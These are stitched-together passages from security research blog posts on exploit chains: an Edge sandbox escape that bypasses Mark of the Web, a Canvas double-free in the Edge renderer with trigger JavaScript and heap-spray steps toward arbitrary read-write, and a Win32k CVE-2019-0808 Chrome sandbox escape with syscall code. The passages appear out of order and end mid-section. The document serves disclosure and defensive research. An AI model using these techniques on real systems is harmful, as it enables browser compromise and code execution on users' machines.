However, when a download is initiated from the “file://” URL and the download referrer is also from the secure zone (or without a zone as is the case with the “blob:” protocol), the downloaded file is not marked with the “Mark of the Web” (MotW). This completely bypasses checks by Microsoft Defender SmartScreen and allows running the downloaded file without any restrictions.
For the first step the exploit finds the current site URL and overwrites it with a “file:///” zone URL. The URL of the site is found by reading relevant pointers in memory. After the site URL is overwritten, the renderer process treats any download that is coming from the current site as coming from the “file:///” zone.
For the second step the exploit executes the JavaScript code which fetches the download file from the remote server and offers it as a download:
The executed JavaScript initiates the file download and internally the Edge browser caches the file and keeps a temporary copy as long as the user has not responded to the download notification bar. Before any file download, a Globally Unique Identifier (GUID) is created for the actual download file. The Edge browser recognizes downloads not by the filename or the path, but by the download GUID. Messages which send commands to do any file operation must pass the GUID of the actual file. Therefore it is required to find the actual file download GUID. The required GUID is created by the content process during the call to EdgeContent!CDownloadState::Initialize():
.text:0000000180058CF0 public: long CDownloadState::Initialize(class CInterThreadMarshal *, struct IStream *, unsigned short const *, struct _GUID const &amp;amp;, unsigned short const *, struct IFetchDownloadContext *) proc near
...
.text:0000000180058E6F loc_180058E6F:
.text:0000000180058E6F mov edi, 8007000Eh
.text:0000000180058E74 test rbx, rbx
.text:0000000180058E77 jz loc_180058FF0
.text:0000000180058E7D test r13b, r13b
.text:0000000180058E80 jnz short loc_180058E93
.text:0000000180058E82 lea rcx, [rsi+74h] ; pguid
.text:0000000180058E86 call cs:__imp_CoCreateGuid
Next follows the call to EdgeContent!DownloadStateProgress::LCIESendToDownloadManager(). This function packs all the relevant download data (such as the current URL, path to the cache file, the referrer, name of the file, and the mime type of the file), adds padding for the meta-data, creates the so called “message buffer” and sends it to the Manager process via a call to LCIEPostMessage(). As this message is getting posted to another process, all the data is eventually placed at the shared memory section and is available for reading and writing by both the content and Manager processes. The message buffer is eventually populated with the download file GUID.
The described operation performed by DownloadStateProgress::LCIESendToDownloadManager() is important for the exploit as it indirectly leaks the address of the message buffer and the relevant download file GUID.
The allocation address of the message buffer depends on the size of the message. There are several ranges of sizes:
0x0 to 0x20 bytes: unsupported (message posting fails)
0x20 to 0x1d0 bytes: first slot
0x1d4 to 0xfd0 bytes: second slot
from 0x1fd4 bytes: last slot
If the previous message with the same size slot was freed, the new message is allocated at the same address. The specifics of the message buffer allocator allows leaking the address of the next buffer without the risk of failure. After the file download is triggered, the exploit gets the address of the message buffer. After the address of the message buffer is retrieved, it is possible to parse the message buffer and extract relevant data (such as the cache path and the file download GUID).
The last important step is to send a message which triggers the browser to run the downloaded file (the actual file operation is performed by the browser broker “browser_broker.exe”) with Medium Integrity Level. The exploit code which performs the current step is borrowed from eModel!TFlatIsoMessage<DownloadOperation>::Post():
__int64 __fastcall TFlatIsoMessage&amp;lt;DownloadOperation&amp;gt;::Post(
unsigned int a1,
unsigned int a2,
__int64 a3,
__int64 a4,
__int64 a5
)
{
unsigned int v5; // esi
unsigned int v6; // edi
signed int result; // ebx
__int64 isoMessage_; // r8
__m128i threadStateGUID; // xmm0
unsigned int v11; // [rsp+20h] [rbp-48h]
__int128 tmpThreadStateGUID; // [rsp+30h] [rbp-38h]
__int64 isoMessage; // [rsp+40h] [rbp-28h]
unsigned int msgBuffer; // [rsp+48h] [rbp-20h]
v5 = a2;
v6 = a1;
result = IsoAllocMessageBuffer(a1, &amp;amp;msgBuffer, 0x48u, &amp;amp;isoMessage);
if ( result &amp;gt;= 0 )
{
isoMessage_ = isoMessage;
*(isoMessage + 0x20) = *a5;
*(isoMessage_ + 0x30) = *(a5 + 0x10);
*(isoMessage_ + 0x40) = *(a5 + 0x20);
threadStateGUID = *GlobalThreadState();
v11 = msgBuffer;
_mm_storeu_si128(&amp;amp;tmpThreadStateGUID, threadStateGUID);
result = IsoPostMessage(v6, v5, 0xD6Bu, 0, v11, &amp;amp;tmpThreadStateGUID);
if ( result &amp;lt; 0 )
{
IsoFreeMessageBuffer(msgBuffer);
}
}
return result;
}
Last, the exploit recovers the original site URL to avoid any potential artifacts and sends messages to remove the download notification bar.
Open problems
The only issue with the exploit is that a small popup will appear for a split second before the exploit has sent a message to click the popup button. Potentially it is possible to avoid this popup by sending a different set of messages which does not require a popup to be present.
Detection
There are no trivial methods to detect exploitation of the described vulnerability as the exploit code does not require any kind of particularly notable data and is not performing any kind of exceptional activity.
Mitigation
The exploit is developed in Javascript, but there is a possibility to develop an exploit not based on Javascript which makes it non-trivial to mitigate the issue with 100% certainty.
For exploits developed in Javascript, it is possible to mitigate this issue by disabling Javascript.
The sandbox escape exploit part is 100% reliable and portable—thus requiring almost no effort to keep it compatible with different browser versions.
Here is the video demonstrating the full exploit-chain in action:
For demonstration purposes, the exploit payload writes a file named “w00t.txt” to the user desktop, opens this file with notepad and shows a message box with the integrity level of the “payload.exe”.
Subscribers of the Exodus 0day Feed had access to this exploit for penetration tests and implementing protections for their stakeholders.
This year Exodus Intelligence participated in the Pwn2Own competition in Vancouver. The chosen target was the Microsoft Edge browser and a full-chain browser exploit was successfully demonstrated. The exploit consisted of two parts:
logical vulnerability sandbox escape exploit achieving arbitrary code execution with Medium Integrity Level
This blog post describes the exploitation of the double-free vulnerability in the renderer process of Microsoft Edge 64-bit. Part 2 will describe the sandbox escape vulnerability.
The Vulnerability
The vulnerability is located in the Canvas 2D API component which is responsible for creating canvas patterns. The crash is triggered with the following JavaScript code:
let canvas = document.createElement('canvas');
let ctx = canvas.getContext('2d');
// Allocate canvas pattern objects and populate hash table.
for (let i = 0; i &amp;lt; 31; i++) {
ctx.createPattern(canvas, 'no-repeat');
}
// Here the canvas pattern objects will be freed.
gc();
// This is causing internal OOM error.
canvas.setAttribute('height', 0x4000);
canvas.setAttribute('width', 0x4000);
// This will partially initialize canvas pattern object and trigger double-free.
try {
ctx.createPattern(canvas, 'no-repeat');
} catch (e) {
}
If you run this test-case, you may notice that the crash does not happen always, several attempts may be required. In one of the next sections it will be explained why.
With the page heap enabled, the crash would look like this:
On line 21 the heap manager allocates space for the canvas pattern object and on the following lines certain members are set to 0. It is important to note the CCanvasPattern::Data member is populated on line 28.
Next follows a call to the CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget() method which is responsible for video memory allocation for the canvas pattern object on a target device. In certain cases this method returns an error. For the given vulnerability the bug is triggered when Windows GDI D3DKMTCreateAllocation() returns the error STATUS_GRAPHICS_NO_VIDEO_MEMORY (error code 0xc01e0100). Setting width and height of the canvas object to huge values can cause the video device to return an out-of-memory error. The following call stack shows the path which is taken after the width and height of the canvas object have been set to the large values and after consecutive calls to createPattern():
A requirement to trigger the error is that the target hardware has an integrated video card or a video card with low memory. Such conditions are met on the VMWare graphics pseudo-hardware or on some budget devices. It is potentially possible to trigger other errors which do not depend on the target hardware resources as well.
Under normal conditions (i.e. the call to CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget() method does not return any error) the CCanvasPattern::Initialize() method is called:
On line 40 one of the canvas pattern object members is set to point to the CCanvasPattern::Data object.
During the call to the CCanvasPattern::InitializeFromCanvas() method, a chain of calls follows. This eventually leads to a call of the following method:
The above method adds a display resource to the cache. In the current case, the display resource is the DXImageRenderTarget object and the cache is a hash table which is implemented in the TDispResourceCache class.
On line 32 the call to the TDispResourceCache<CDispNoLock,1,0>::Add() method happens:
On line 27 the vulnerable object is getting allocated. Important to note that the object is not allocated through the MemGC mechanism.
The hash table entries consist of a key-value pair. The key is a CCanvasPattern::Data object and the value is a DXImageRenderTarget. The initial size of the hash table allows it to hold up to 29 entries, however there is space for 37 entries. Extra entries are required to reduce the amount of possible hash collisions. A hash function is applied to each key to deduce position in the hash table. When the hash table is full, CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::Grow() method is called to increase the capacity of the hash table. During this call, key-value pairs are moved to the new indexes, keys are removed from the previous position, but values remain. If, after the growth, the key-value pair has to be removed (e.g.canvas pattern objects is freed), the value is freed and the key-value pair is removed only from the new position.
When the amount of entries is below a certain value, CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::Shrink() method is called to reduce the capacity of the hash table. When the CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::Shrink() method is called, key-value pairs are moved to the previous positions.
When the canvas pattern object is freed, the hash table entry which holds the appropriate CCanvasPattern::Data object is removed via the following method call:
This method retrieves the hash table entry value by calling the CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::FindEntry() method.
If the call to CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget() returns an error, the canvas pattern object has an uninitialized member which is supposed to hold a pointer to the CCanvasPattern::Data object. Nevertheless, the canvas pattern object destructor calls the CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::FindEntry() method and provides a key which is a nullptr. The method returns the very first value if there is any. If the hash table was grown and then shrunk, it will store pointers to the freed DXImageRenderTarget objects. Under such conditions, the TDispResourceCache<CDispNoLock,1,0>::Remove() method will operate on the already freed object (variable freedObject).
Several attempts are required to trigger vulnerability because there will not always be an entry at the first position.
It is possible to exploit this vulnerability in one of two ways:
allocate some object in place of the freed object and free it thus causing a use-after-free on an almost arbitrary object
allocate some object which has a suitable layout (first quad-word must be a pointer to an object with a virtual function table) to call a virtual function and cause side-effects like corrupting some useful data
The first method was chosen for exploitation because it’s difficult to find an object which fits the requirements for the second method.
Exploit Development
The exploit turned out to be non-trivial due to the following reasons:
Microsoft Edge allocates objects with different sizes and types on different heaps; this reduces the amount of available objects
the freed object is allocated on the default Windows heap which employs LFH; this makes it impossible to create adjacent allocations and reduces the chances of successful object overwrite
the freed object is 0x10 bytes; objects of this size are often used for internal servicing purposes; this makes the relevant heap region busy which also reduces exploitation reliability
there is a limited number of LFH objects of 0x10 bytes in size that are available from Javascript and are actually useful
objects that are available for control from Javascript allow only limited control
no object used during exploitation allows direct corruption of any field in a way that can lead to useful effects (e.g. controllable write)
multiple small heap allocations and frees were required to gain control over objects with interesting fields.
A high-level overview of the renderer exploitation process:
the heap is prepared and the objects required for exploitation are sprayed
all of the 0x10-byte DXImageRenderTarget objects are freed (one of them is the object which will be freed again)
audio buffer objects are sprayed; this also creates 0x10-byte raw data buffer objects with arbitrary size and contents; some of the buffers take the freed spots
the double-free is triggered and one of the 0x10-byte raw data buffer objects is freed (it is possible to read-write this object)
objects of 0x10-bytes size are sprayed, they contain two pointers (0x8-bytes) to 0x20-byte sized raw data buffer objects
the exploit iterates over the raw data buffer objects allocated on step 3 and searches for the overwrite
objects allocated on step 5 are freed (with 0x20-byte sized objects) and 0x20-byte sized typed arrays are sprayed over them
the exploit leaks pointers to two of the sprayed typed arrays
0x10-byte sized objects are sprayed, they contain two pointers to the 0x200-byte sized raw data buffer objects; audio source will keep writing to these buffers
the exploit leaks pointers to two of the sprayed write-buffer objects
the exploit starts playing audio, this starts writing to the controllable (vulnerable) object address of the typed array (the address is increased by 0x10 bytes to point to the length of the typed array) in the loop; the audio buffer source node keeps writing to the 0x200-byte data buffer, but is re-writing pointers to the buffer in the 0x10-byte object; the repeated write in the loop is required to win a race
after a certain amount of iterations the exploit quits looping and checks if the typed array has increased length
at this point exploit has achieved a relative read-write primitive
the exploit uses the relative read to find the WebCore::AudioBufferData and WTF::NeuteredTypedArray objects (they are placed adjacent on the heap)
the exploit uses data found during the previous step in order to construct a typed array which can be used for arbitrary read-write
the exploit creates a fake DataView object for more convenient memory access
with arbitrary read-write is achieved, the exploit launches a sandbox escape.
The following diagram can help understand the described steps:
Getting relative read-write primitive
To trigger the vulnerability, thirty canvas pattern objects are created, this forces the hash table to grow. Then the canvas pattern objects are freed and the hash table is shrunk; this creates a dangling pointer to the DXImageRenderTarget in the hash table entry. It is yet not possible to access the pointer to the freed object.
After the DXImageRenderTarget object is freed by the TDispResourceCache<CDispNoLock,1,0>::Remove method, the spray is performed to allocate audio context data buffer objects – let us call it spray “A”. Data buffer objects are created by calling audio context createBuffer(). This function has the following prototype:
let buffer = baseAudioContext.createBuffer(numOfchannels, length, sampleRate);
The numOfchannels argument denotes a number of pointers to channel data to create, length is the length of the data buffer, sampleRate is not important for exploitation. Javascript createBuffer() triggers the call to CDOMAudioContext::Var_createBuffer(), which eventually calls WebCore::AudioChannelData::Initialize():
On line 17 a WTF::IEOwnedTypedArray object is allocated on the default Windows heap. This object is interesting for exploitation as it contains the following metadata:
0:016&amp;gt; dq 000001b0`374fbd80 L20/8
000001b0`374fbd80 00007ffe`47f8b4a0 000001b0`379e9030 ; vtable; pointer to the data buffer
000001b0`374fbd90 00000000`00000030 00080000`00000000 ; length; unused
0:016&amp;gt; dq 000001b0`379e9030 L10/8
000001b0`379e9030 0000003a`cafebeef 00000000`00000002 ; arbitrary data
0:016&amp;gt; ln 00007ffe`47f8b4a0
(00007ffe`47f8b4a0) edgehtml!WTF::IEOwnedTypedArray&amp;lt;1,float&amp;gt;::`vftable`
On line 21 the data buffer is allocated (also on the default Windows heap). One of the buffers takes the spot of the freed DXImageRenderTarget object. This data buffer has the following layout:
The second quad-word is a reference counter. Values other than 1 trigger access to the virtual function table which does not exist and cause a crash. A reference counter value of 1 means that the object is going to be freed.
The data buffer which is allocated in place of the freed object is used throughout the exploit to read and write values placed inside this buffer.
Before freeing the object for the second time, audio context buffer sources are created by calling Javascript createBufferSource(). This function does not accept any arguments, but is expecting the buffer property to be set. Allocations are made before the vulnerable object is freed so to avoid unnecessary noise on the heap – let us call it spray “B”. The buffer property is set to one of the buffer objects which were created during startup (i.e. before triggering the vulnerability) by calling createBuffer() – let us call it spray “C”. During this property access, the following method is called:
On line 71 yet another data buffer is allocated. The amount of bytes depends on the number of channels. Each channel creates one pointer which points to the data with arbitrary size and controllable contents. This is a useful primitive which is used later during the exploitation process.
To trigger the call to the WebCore::AudioBufferSourceNode::setBuffer() method, the audio must be already playing: either start() is called with the buffer property already set, or the buffer property is set and then start() is called.
Next, the double-free vulnerability is triggered and one of the audio channel data buffers is freed, although control from Javascript is retained.
The start() method of the audio buffer source object is called on each object of spray “B”. This creates multiple 0x10-byte sized objects with two pointers to the 0x20-byte sized data buffer object of spray “C”. During this spray one of the sprayed objects takes over the freed object from spray “A”.
Then the exploit iterates over spray “A” to find a data buffer with changed contents. Each object of spray “A” has getChannelData() – which returns the channel data as a Float32Array typed array. getChannelData() accepts only the channel number argument. Once the change has been found, a typed array is created. This typed array is read-writable and is further used multiple times in the exploit to leak and write pointers. Let us call it typed array “TA1”.
After the controllable channel data typed array is found, all of the spray “B”objects are freed. All data relevant to spray “B” is scoped just to one function. This is required to remove all internal references from Javascript to the data buffer from spray “C”. Otherwise it will not be possible to free the data buffer later.
After the return from the function, another spray is made – let us call it spray “D”. This spray prepares an audio buffer source data for the next steps and takes over the freed object. At this point the overwritten object does not contain data.
Then the exploit iterates over spray “D” and calls the start() function of each object. This writes to the freed object two pointers pointing to the 0x200-byte sized objects. These objects are used by the audio context to write audio data to be played. It is important to note that data is periodically written to this buffer, as well as pointers constantly written to the 0x10-byte objects. (This poses another problem which is resolved at the next step.) These pointers are also leaked via the “TA1” typed array.
Then the buffer object which was used for spray “B” is freed and a different spray is performed to take over the just-freed data buffer – let us call it spray “E”. Spray “E” allocates typed arrays (which are of size 0x20 bytes) and one of the typed arrays overwrites contents of the freed 0x20-byte data buffer. This allows a leak of pointers to two of the sprayed typed arrays via the typed array “TA1”. Only one pointer to the typed array is required for the exploit, let us call it typed array “TA2”. This typed array points to the data buffer of 0x30 bytes. The size of this buffer is important as it allows placement of other objects nearby which are useful for exploitation.
At this point it is known where the two typed arrays and the two audio write-buffers are located. The exploit enters a loop which constantly writes a pointer to the “TA2” typed array to the 0x10-byte object. The written pointer is increased by 0x10 bytes to point to the length field. The loop is required to win a race condition because the audio context thread keeps re-writing pointers in the 0x10-byte object. After a certain number of iterations the loop is ended and the exploit searches for the overwritten typed array.
The overwritten WTF::IEOwnedTypedArray typed array gives a relative read-write primitive.
Getting arbitrary read-write primitive
Before triggering the vulnerability the exploit has made another spray which has allocated the buffer sources and appropriate buffers for the sources – let us call it spray “F” . During this spray the WebCore::AudioBufferData objects of 0x30 bytes size with the following memory layout are created:
These objects are placed nearby the data buffer which is controlled by the typed array “TA2”. WTF::NeuteredTypedArray objects of size 0x30 bytes are placed nearby too:
After the relative read-write primitive is gained, offsets from the beginning of the typed array “TA2” buffer to these objects are found by searching for the specific pattern.
Knowing the offset to the WebCore::AudioBufferData object allows to leak a pointer to the audio channel data buffer. (The audio channel data is used to create a fake controllable DataView object and eventually achieve an arbitrary read-write primitive.) At offset 0x18 of the WebCore::AudioBufferData object, the pointer to the audio channel data buffer is stored. Before calling getChannelData() the memory layout of the channel data buffer looks like the following:
After calling getChannelData() member of the WebCore::AudioBufferData object, pointers in the channel data buffer are moved around and start pointing to the typed array objects allocated on the Chakra heap. This is important as it allows leaking the typed array pointers and creating a fake typed array. This is the memory layout of the channel data buffer after the call to getChannelData():
Knowing the offset to the WTF::NeuteredTypedArray object allows to achieve an arbitrary read primitive.
The buffer this object points to cannot be used for a write. Once the write happens, the buffer is moved to another heap. Increasing the length of the buffer is not possible due to security asserts enabled. An attempt to write to the buffer with the modified length leads to a crash of the renderer process.
The layout of the WTF::NeuteredTypedArray object looks like the following:
A pointer to the data buffer is stored at offset 8. It is possible to overwrite this pointer and point to any address to arbitrarily read memory.
With the arbitrary read primitive the contents of the typed array and the channel data buffer of the WebCore::AudioBufferData object are leaked. With the ability to write to the relative typed array, the following contents are placed in the controllable buffer:
After this operation the WebCore::AudioBufferData object points to the fake channel data (located at 0x00000140e87e7da0). The channel data contains a pointer to the fake DataView object (located at 0x00000140e87e7eb0). Initially, the Float32Array object is leaked and placed, but it is not a very convenient type to use for exploitation. To convert it to a DataView object, the type tag has to be changed in the metadata. The type tag for the Float32Array object type is 0x31, for the DataView object it is 0x38.
The fake DataView object is accessed by calling getChannelData() of the WebCore::AudioBufferData object.
At this point an arbitrary read-write primitive is achieved.
Wrapping up the renderer exploit
Getting code execution in Microsoft Edge renderer is a bit more involved in contrast to other browsers since Microsoft Edge browser employs mitigations known as Arbitrary Code Guard (ACG) and Code Integrity Guard (CIG). Nevertheless, there is a way to bypass ACG. Having an arbitrary read-write primitive it is possible to find the stack address, setup a fake stack frame and divert code execution to the function of choice by overwriting the return address. This method was chosen to execute the sandbox escape payload.
The last problem that had to be addressed in order to have reliable process continuation is a LFH double-free mitigation. Once exploitation is over, some pointers are left and when they are picked up by the heap manager, the process will crash. Certain pointers can be easily found by leaking address of required objects. One last pointer had to be found by scanning the heap as there was no straightforward way to find it. Once the pointers are found they are overwritten with null.
Open problems
The exploit has the following issues:
the vulnerability trigger depends on hardware;
exploit reliability is about 75%;
The first issue is due to the described requirement of hardware error. The trigger works only on VMWare and on some devices with integrated video hardware. It is potentially possible to avoid hardware dependency by triggering some generic video graphics hardware error.
The second issue is mostly due to the requirement to have complicated heap manipulations and LFH mitigations. Probably it is possible to improve reliability by performing smarter heap arrangement.
Process continuation was solved as described in the previous section. No artifacts exist.
Detection
It is possible to detect exploitation of the described vulnerability by searching for the combination of the following Javascript code:
repeated calls to createPattern()
setting canvas attributes “width” and “height” to large values
As a result, reliability of the renderer exploit achieved a ~75% success rate. Exploitation takes about 1-2 seconds on average. When multiple retries are required then exploitation can take a bit more time.
Microsoft has gone to great lengths to harden their Edge browser renderer process as browsers still remain a major threat attack vector and the renderer has the largest attack surface. Yet a single vulnerability was used to achieve memory disclosure and gain arbitrary read-write to compromise a content process. Part 2 will discuss an interesting logical sandbox escape vulnerability.
Exodus 0day subscribers have had access to this exploit for use on penetration tests and/or implementing protections for their stakeholders.
This post explores a recently patched Win32k vulnerability (CVE-2019-0808) that was used in the wild with CVE-2019-5786 to provide a full Google Chrome sandbox escape chain.
Overview
On March 7th 2019, Google came out with a blog post discussing two vulnerabilities that were being chained together in the wild to remotely exploit Chrome users running Windows 7 x86: CVE-2019-5786, a bug in the Chrome renderer that has been detailed in our blog post, and CVE-2019-0808, a NULL pointer dereference bug in win32k.sys affecting Windows 7 and Windows Server 2008 which allowed attackers escape the Chrome sandbox and execute arbitrary code as the SYSTEM user.
Since Google’s blog post, there has been one crash PoC exploit for Windows 7 x86 posted to GitHub by ze0r, which results in a BSOD. This blog details a working sandbox escape and a demonstration of the full exploit chain in action, which utilizes these two bugs to illustrate the APT attack encountered by Google in the wild.
Analysis of the Public PoC
To provide appropriate context for the rest of this blog, this blog will first start with an analysis of the public PoC code. The first operation conducted within the PoC code is the creation of two modeless drag-and-drop popup menus, hMenuRoot and hMenuSub.hMenuRoot will then be set up as the primary drop down menu, and hMenuSub will be configured as its submenu.
Following this, a WH_CALLWNDPROC hook is installed on the current thread using SetWindowsHookEx(). This hook will ensure that WindowHookProc() is executed prior to a window procedure being executed. Once this is done, SetWinEventHook() is called to set an event hook to ensure that DisplayEventProc() is called when a popup menu is displayed.
The following diagram shows the window message call flow before and after setting the WH_CALLWNDPROC hook.
Once the hooks have been installed, the hWndFakeMenu window will be created using CreateWindowA() with the class string “#32768”, which, according to MSDN, is the system reserved string for a menu class. Creating a window in this manner will cause CreateWindowA() to set many data fields within the window object to a value of 0 or NULL as CreateWindowA() does not know how to fill them in appropriately. One of these fields which is of importance to this exploit is the spMenu field, which will be set to NULL.
hWndMain is then created using CreateWindowA() with the window class wndClass. This will set hWndMain‘s window procedure to DefWindowProc() which is a function in the Windows API responsible for handling any window messages not handled by the window itself.
The parameters for CreateWindowA() also ensure that hWndMain is created in disabled mode so that it will not receive any keyboard or mouse input from the end user, but can still receive other window messages from other windows, the system, or the application itself. This is done as a preventative measure to ensure the user doesn’t accidentally interact with the window in an adverse manner, such as repositioning it to an unexpected location. Finally the last parameters for CreateWindowA() ensure that the window is positioned at (0x1, 0x1), and that the window is 0 pixels by 0 pixels big. This can be seen in the code below.
After the hWndMain window is created, TrackPopupMenuEx() is called to display hMenuRoot. This will result in a window message being placed on hWndMain‘s message stack, which will be retrieved in main()‘s message loop via GetMessageW(), translated via TranslateMessage(), and subsequently sent to hWndMain‘s window procedure via DispatchMessageW(). This will result in the window procedure hook being executed, which will call WindowHookProc().
As the bOnDraging variable is not yet set, the WindowHookProc() function will simply call CallNextHookEx() to call the next available hook. This will cause a EVENT_SYSTEM_MENUPOPUPSTART event to be sent as a result of the popup menu being created. This event message will be caught by the event hookand will cause execution to be diverted to the function DisplayEventProc().
Since this is the first time DisplayEventProc() is being executed, iMenuCreated will be 0, which will cause case 0 to be executed. This case will send the WM_LMOUSEBUTTON window message to hWndMainusing SendMessageW() in order to select the hMenuRoot menu at point (0x5, 0x5). Once this message has been placed onto hWndMain‘s window message queue, iMenuCreated is incremented.
hWndMain then processes the WM_LMOUSEBUTTON message and selects hMenu, which will result in hMenuSub being displayed. This will trigger a second EVENT_SYSTEM_MENUPOPUPSTART event, resulting in DisplayEventProc() being executed again. This time around the second case is executed as iMenuCreated is now 1. This case will use SendMessageW() to move the mouse to point (0x6, 0x6) on the user’s desktop. Since the left mouse button is still down, this will make it seem like a drag and drop operation is being performed. Following this iMenuCreated is incremented once again and execution returns to the following code with the message loop inside main().
Since iMenuCreated now holds a value of 2, the code inside the if statement will be executed, which will set bOnDraging to TRUE to indicate the drag operation was conducted with the mouse, after which a call will be made to the function callNtUserMNDragOverSysCall() with the address of the POINT structure pt and the 0x100 byte long output buffer buf.
callNtUserMNDragOverSysCall() is a wrapper function which makes a syscall to NtUserMNDragOver() in win32k.sys using the syscall number 0x11ED, which is the syscall number for NtUserMNDragOver() on Windows 7 and Windows 7 SP1. Syscalls are used in favor of the PoC’s method of obtaining the address of NtUserMNDragOver() from user32.dll since syscall numbers tend to change only across OS versions and service packs (a notable exception being Windows 10 which undergoes more constant changes), whereas the offsets between the exported functions in user32.dll and the unexported NtUserMNDragOver() function can change anytime user32.dll is updated.
void callNtUserMNDragOverSysCall(LPVOID address1, LPVOID address2) {
_asm {
mov eax, 0x11ED
push address2
push address1
mov edx, esp
int 0x2E
pop eax
pop eax
}
}
NtUserMNDragOver() will end up calling xxxMNFindWindowFromPoint(), which will execute xxxSendMessage() to issue a usermode callback of type WM_MN_FINDMENUWINDOWFROMPOINT. The value returned from the user mode callback is then checked using HMValidateHandle() to ensure it is a handle to a window object.
LONG_PTR __stdcall xxxMNFindWindowFromPoint(tagPOPUPMENU *pPopupMenu, UINT *pIndex, POINTS screenPt)
{
....
v6 = xxxSendMessage(
var_pPopupMenu->spwndNextPopup,
MN_FINDMENUWINDOWFROMPOINT,
(WPARAM)&pPopupMenu,
(unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the
// MN_FINDMENUWINDOWFROMPOINT usermode callback
// using the address of pPopupMenu as the
// wParam argument.
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) ) // Validate the handle returned from the user
// mode callback is a handle to a MFMWFP window.
v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned
// handle is a handle to
// a window object. Set v1 to
// TRUE if all is good.
...
When the callback is performed, the window procedure hook function, WindowHookProc(), will be executed before the intended window procedure is executed. This function will check to see what type of window message was received. If the incoming window message is a WM_MN_FINDMENUWINDOWFROMPOINT message, the following code will be executed.
This code will change the window procedure for hWndMain from DefWindowProc() to SubMenuProc(). It will also set bIsDefWndProc to FALSE to indicate that the window procedure for hWndMain is no longer DefWindowProc().
Once the hook exits, hWndMain‘s window procedure is executed. However, since the window procedure for the hWndMain window was changed to SubMenuProc(), SubMenuProc() is executed instead of the expected DefWindowProc() function.
SubMenuProc() will first check if the incoming message is of type WM_MN_FINDMENUWINDOWFROMPOINT. If it is, SubMenuProc() will call SetWindowLongPtr() to set the window procedure for hWndMain back to DefWindowProc() so that hWndMain can handle any additional incoming window messages. This will prevent the application becoming unresponsive. SubMenuProc() will then return hWndFakeMenu, or the handle to the window that was created using the menu class string.
Since hWndFakeMenu is a valid window handle it will pass the HMValidateHandle() check. However, as mentioned previously, many of the window’s elements will be set to 0 or NULL as CreateWindowEx() tried to create a window as a menu without sufficient information. Execution will subsequently proceed from xxxMNFindWindowFromPoint() to xxxMNUpdateDraggingInfo(), which will perform a call to MNGetpItem(), which will in turn call MNGetpItemFromIndex().
MNGetpItemFromIndex() will then try to access offsets within hWndFakeMenu‘s spMenu field. However since hWndFakeMenu‘s spMenu field is set to NULL, this will result in a NULL pointer dereference, and a kernel crash if the NULL page has not been allocated.
tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu)
{
tagITEM *result; // eax
if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ){ // NULL pointer dereference will occur
// here if spMenu is NULL.
result = 0;
else
result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu;
return result;
}
Sandbox Limitations
To better understand how to escape Chrome’s sandbox, it is important to understand how it operates. Most of the important details of the Chrome sandbox are explained on Google’s Sandbox page. Reading this page reveals several important details about the Chrome sandbox which are relevant to this exploit. These are listed below:
All processes in the Chrome sandbox run at Low Integrity.
A restrictive job object is applied to the process token of all the processes running in the Chrome sandbox. This prevents the spawning of child processes, amongst other things.
Processes running in the Chrome sandbox run in an isolated desktop, separate from the main desktop and the service desktop to prevent Shatter attacks that could result in privilege escalation.
On Windows 8 and higher the Chrome sandbox prevents calls to win32k.sys.
The first protection in this list is that processes running inside the sandbox run with Low integrity. Running at Low integrity prevents attackers from being able to exploit a number of kernel leaks mentioned on sam-b’s kernel leak page, as starting with Windows 8.1, most of these leaks require that the process be running with Medium integrity or higher. This limitation is bypassed in the exploit by abusing a well known memory leak in the implementation of HMValidateHandle() on Windows versions prior to Windows 10 RS4, and is discussed in more detail later in the blog.
The next limitation is the restricted job object and token that are placed on the sandboxed process. The restricted token ensures that the sandboxed process runs without any permissions, whilst the job object ensures that the sandboxed process cannot spawn any child processes. The combination of these two mitigations means that to escape the sandbox the attacker will likely have to create their own process token or steal another process token, and then subsequently disassociate the job object from that token. Given the permissions this requires, this most likely will require a kernel level vulnerability. These two mitigations are the most relevant to the exploit; their bypasses are discussed in more detail later on in this blog.
The job object additionally ensures that the sandboxed process uses what Google calls the “alternate desktop” (known in Windows terminology as the “limited desktop”), which is a desktop separate from the main user desktop and the service desktop, to prevent potential privilege escalations via window messages. This is done because Windows prevents window messages from being sent between desktops, which restricts the attacker to only sending window messages to windows that are created within the sandbox itself. Thankfully this particular exploit only requires interaction with windows created within the sandbox, so this mitigation only really has the effect of making it so that the end user can’t see any of the windows and menus the exploit creates.
Finally it’s worth noting that whilst protections were introduced in Windows 8 to allow Chrome to prevent sandboxed applications from making syscalls to win32k.sys, these controls were not backported to Windows 7. As a result Chrome’s sandbox does not have the ability to prevent calls to win32k.sys on Windows 7 and prior, which means that attackers can abuse vulnerabilities within win32k.sys to escape the Chrome sandbox on these versions of Windows.
Sandbox Exploit Explanation
Creating a DLL for the Chrome Sandbox
As is explained in James Forshaw’s In-Console-Able blog post, it is not possible to inject just any DLL into the Chrome sandbox. Due to sandbox limitations, the DLL has to be created in such a way that it does not load any other libraries or manifest files.
To achieve this, the Visual Studio project for the PoC exploit was first adjusted so that the project type would be set to a DLL instead of an EXE. After this, the C++ compiler settings were changed to tell it to use the multi-threaded runtime library (not a multithreaded DLL). Finally the linker settings were changed to instruct Visual Studio not to generate manifest files.
Once this was done, Visual Studio was able to produce DLLs that could be loaded into the Chrome sandbox via a vulnerability such as István Kurucsai’s 1Day Chrome vulnerability, CVE-2019-5786 (which was detailed in a previous blog post), or via DLL injection with a program such as this one.
Explanation of the Existing Limited Write Primitive
Before diving into the details of how the exploit was converted into a sandbox escape, it is important to understand the limited write primitive that this exploit grants an attacker should they successfully set up the NULL page, as this provides the basis for the discussion that occurs throughout the following sections.
